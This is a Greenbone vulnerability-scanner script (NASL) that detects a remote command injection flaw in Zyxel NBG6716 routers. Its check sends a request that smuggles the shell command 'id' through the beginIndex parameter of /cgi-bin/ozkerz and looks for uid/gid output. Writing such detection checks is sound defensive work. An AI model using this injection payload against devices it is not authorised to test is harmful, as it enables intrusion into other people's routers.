Zyxel NBG6716 RCE Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140497");
  script_version("2023-07-25T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
  script_tag(name:"creation_date", value:"2017-11-10 13:05:48 +0700 (Fri, 10 Nov 2017)");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_tag(name:"qod_type", value:"exploit");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Zyxel NBG6716 RCE Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Zyxel NBG6716 devices allow command injection in the ozkerz component
  because beginIndex and endIndex are used directly in a popen call.");

  script_tag(name:"vuldetect", value:"Sends a crafted request via HTTP GET and checks whether
  it is possible to execute a remote command.");

  script_tag(name:"solution", value:"Upgrade to firmware version V1.00(AAKG.11)C0 or later.");

  script_xref(name:"URL", value:"https://www.secarma.co.uk/labs/sohopelessly-broken-0-day-strategy/");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

res = http_get_cache(port: port, item: "/cgi-bin/luci");

if ("title>NBG6716 - Login</title>" >< res && "Model:NBG6716" >< res) {
  url = "/cgi-bin/ozkerz?eventFlows=1&beginIndex=|id&endIndex=";
  if (http_vuln_check(port: port, url: url, pattern: 'uid=[0-9]+.*gid=[0-9]+', check_header: TRUE)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }

  exit(99);
}

exit(0);